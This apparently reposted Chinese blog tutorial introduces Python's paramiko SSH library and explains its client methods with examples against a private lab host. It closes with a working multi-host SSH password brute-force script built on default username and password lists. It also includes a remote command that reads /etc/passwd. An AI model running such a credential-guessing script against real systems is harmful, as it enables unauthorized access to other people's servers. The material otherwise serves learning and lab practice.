python之paramiko模块

本文作者:hell0_w

砸个广告:各位在网络安全方面有新创作的小伙伴,快快将你们的心得砸过来吧~

文章以word形式发至邮箱:

minwei.wang@dbappsecurity.com.cn

有偿投稿,记得留下你的姓名联系方式喔~

这两天在学习python,在学习的过程中,

顺便记录一下,以便加深印象。

01

安装

pip install paramiko

easy_install paramiko

导入模块没问题,安装成功

02

简单的ssh示例

使用用户名密码认证的方式,调用exec_command()方法执行系统命令。

#coding:utf-8

import paramiko

host = "192.168.112.129"

port = 22

username = "msfadmin"

password = "msfadmin"

ssh = paramiko.SSHClient() #创建ssh客户端对象

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #允许连接不在know_hosts文件中的主机

ssh.connect(host,port,username,password)

stdin,stdout,stderr = ssh.exec_command('tail -5 /etc/passwd')

print stdout.read()

ssh.close()

运行结果:

03

paramkio核心组件

paramiko包含两个核心组件,一个是SSHClient类,还有一个就是FTPClient类了。

SSHClient是SSH服务会话的高级表示。常用方法有:

(1)connect方法

方法定义:

connect(self,hostname,port=22,username=None,password=None,pkey=None,key_filename=None,timeout=None,allow_agent=True,look_for_keys=True,compress=False)

pkey参数表示私钥方式用于身份验证

allow_agent设置为False时禁用连接到ssh代理

look_for_keys设置为False时禁用在~/.ssh/中搜索私钥文件。

(2)exec_command方法

远程命令执行方法。

(3)load_system_host_keys方法

加载本地公钥校验文件,默认路径为~/.ssh/known_hosts,非默认路径需要手工指定。

(4)set_missing_host_key_policy方法

设置连接的远程主机没有本地主机秘钥或者HostKeys对象时的策略,即允许连接不在know_hosts文件中的主机。

支持三种设置

AutoAddPolicy:自动添加主机名和秘钥到本地并保存,不依赖load_system_host_keys()的配置(上边的脚本使用的就是这种方式);

RejectPolicy:自动拒绝未知的主机名和秘钥,依赖load_system_host_keys();

WarningPolicy:类似于AutoAddPolicy,但是对未知的主机会有警告。

04

破解ssh口令的脚本

(脚本文档点击阅读原文获取,提取码:xza4)

#coding:utf-8

import paramiko

import threading

def ssh_connect(host,username,password):

try:

ssh = paramiko.SSHClient() #创建ssh客户端对象

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #允许连接不在know_hosts文件中的主机

ssh.connect(hostname=host,username=username,password=password,timeout=0.5)

ssh.close()

print "[+]successfully! username is " + username

print "[+]successfully! password is " + password

except:

print "[-]failed"

def ip():

ip_list = []

ip = "192.168.112."

for i in xrange(128,130):

ip += str(i)

ip_list.append(ip)

ip = "192.168.112."

return ip_list

def payloads_list():

ip_list = ip()

username_list = ['root','admin','msfadmin','anonymous','ftpuser']

password_list = ['password','123456','msfadmin']

payload = []

payloads = []

for a in ip_list:

for b in username_list:

for c in password_list:

payload.append(a)

payload.append(b)

payload.append(c) #把所需参数加入payload中

for i in range(0,len(payload),3):

payloads.append(payload[i:i+3]) #将payload切割,生成一一对应的参数放入新的列表中

return payloads

def attack():

payloads = payloads_list()

print "start attack"

for i in range(len(payloads)):

ssh_connect(payloads[i][0],payloads[i][1],payloads[i][2])

if __name__ == '__main__':

attack()

运行结果截图(部分)

跑的速度有点慢,本来想着用多线程,对多线程的使用不是很懂,在使用的过程中出现了问题,思来想去也不知道为啥(我菜鸡),代码如下:

运行结果:

若有知道的大佬还望不吝赐教。

-END-

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-05-08

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏技术小讲堂

WCF中操作的分界于调用顺序和会话的释放操作分界实例停止

操作分界 在WCF操作契约的设计中,有时会有一些调用顺序的业务,有的操作不能最先调用,有的操作必须最后调用,比如在从一个箱子里拿出一件东西的时候,必须先要执行打...

3306
来自专栏ChaMd5安全团队

360春秋杯3道web题的简单分析

360春秋杯3道web题的简单分析 From ChaMd5安全团队核心成员 pcat&香香 where is my cat 这题一开始很坑的,存在着/.git/...

4338
来自专栏斑斓

Redux框架reducer对状态的处理

前言 在react+redux项目里,关于reducer处理state的方式,在redux官方文档中有这样一段描述: 不要修改 state。 使用 Objec...

3675
来自专栏Golang语言社区

Golang工程经验(上)

作为一个C/C++的开发者而言,开启Golang语言开发之路是很容易的,从语法、语义上的理解到工程开发,都能够快速熟悉起来;相比C、C++,Golang语言更简...

3612
来自专栏owent

pbc的proto3接入

Protobuf 的 proto3发布也有挺长一段时间了。现在很多新项目慢慢转变用proto3来开发。这篇文章主要记录一下我在给pbc写对proto3支持时的一...

1311
来自专栏FreeBuf

一个二进制POC的诞生之旅CVE-2018-0802

背景 在潜伏17年的“噩梦公式”漏洞(CVE-2017-11882)被曝光修补之后,之前的漏洞程序EQNEDT32.EXE在windows 10系统下仍然没有开...

2639
来自专栏有趣的django

35.Django2.0文档

第四章 模板  1.标签 (1)if/else {% if %} 标签检查(evaluate)一个变量,如果这个变量为真(即,变量存在,非空,不是布尔值假),系...

55710
来自专栏AI2ML人工智能to机器学习

TF Boy 之初筵 - 会话封装

在“TF Boy 之初筵 - 分布十三式”里面我们给了一个分布式MNIST训练的例子, 然后在“TF Boy 之初筵 - 机器簇” 我们对第四式: Cluste...

843
来自专栏FreeBuf

隐藏在证书文件中的PowerShell(一)

最近,NVISO实验室分析人员开发了某种YARA规则,利用它发现了多种恶意证书文件(.crt),这些证书文件中包含的并不是真正的认证证书,而是一个恶意的Powe...

1403
来自专栏程序员宝库

我所理解的接口设计

前言 自己做接口开发的时间也算不短了(三年),想写这篇文章其实差不多已经有一年多的时间了。我将从下面的方向来对我所理解的接口设计做个总结: 接口参数定义 -> ...

3037

扫码关注云+社区